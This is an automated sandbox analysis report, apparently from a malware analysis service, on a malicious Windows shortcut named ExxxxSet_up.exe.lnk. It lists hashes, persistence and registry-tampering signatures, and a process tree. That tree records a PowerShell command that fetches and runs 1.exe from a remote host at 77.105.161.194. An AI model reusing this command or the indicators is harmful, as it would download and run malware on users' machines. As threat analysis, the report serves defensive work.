Overview

overview

8

Static

static

1

ExxxxSet_up.exe.lnk

windows7-x64

8

ExxxxSet_up.exe.lnk

windows10-2004-x64

8

UP/ii.dll

windows7-x64

1

UP/ii.dll

windows10-2004-x64

1

UP/machine_64.dll

windows7-x64

7

UP/machine_64.dll

windows10-2004-x64

7

UP/psmachi...64.dll

windows7-x64

1

UP/psmachi...64.dll

windows10-2004-x64

1

UP/updateres_sv.dll

windows7-x64

1

UP/updateres_sv.dll

windows10-2004-x64

1

Analysis

  • max time kernel
    133s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 13:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ExxxxSet_up.exe.lnk

  • Size

    1KB

  • MD5

    87619571a8b1b30c00b74b7c7f0649fe

  • SHA1

    443f494bb21ba44fe3b6be107ae37bfd143afe68

  • SHA256

    d7c0655c6f1db4acb14bb4c1ddec34ce8f3849c9e0bf9e28d28c8f1c00121fd7

  • SHA512

    151234967c65a224d29f1c987d4d2aa5f930cd02da62ed46aef11692a7f4d9a7a05c70cd5e83f0b3831af540fde97ca19912e9ff4d5c6c58583b9aeaa7ff4a3e

Score
8/10
persistence

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 29 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ExxxxSet_up.exe.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "explorer '\\77.105.161.194@80\file\'"; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \\77.105.161.194@80\file\1.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1272
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" \\77.105.161.194@80\file\
        3⤵
          PID:2740
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      PID:2832
    • C:\Windows\explorer.exe
      explorer.exe
      1⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2648

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1272-38-0x000007FEF58BE000-0x000007FEF58BF000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1272-40-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1272-39-0x000000001B6A0000-0x000000001B982000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/1272-43-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1272-42-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1272-41-0x0000000001E60000-0x0000000001E68000-memory.dmp

      Filesize

      32KB

      Download

    • memory/1272-44-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1272-45-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/1272-47-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

      Download

    • memory/2832-46-0x0000000003A90000-0x0000000003AA0000-memory.dmp

      Filesize

      64KB

      Download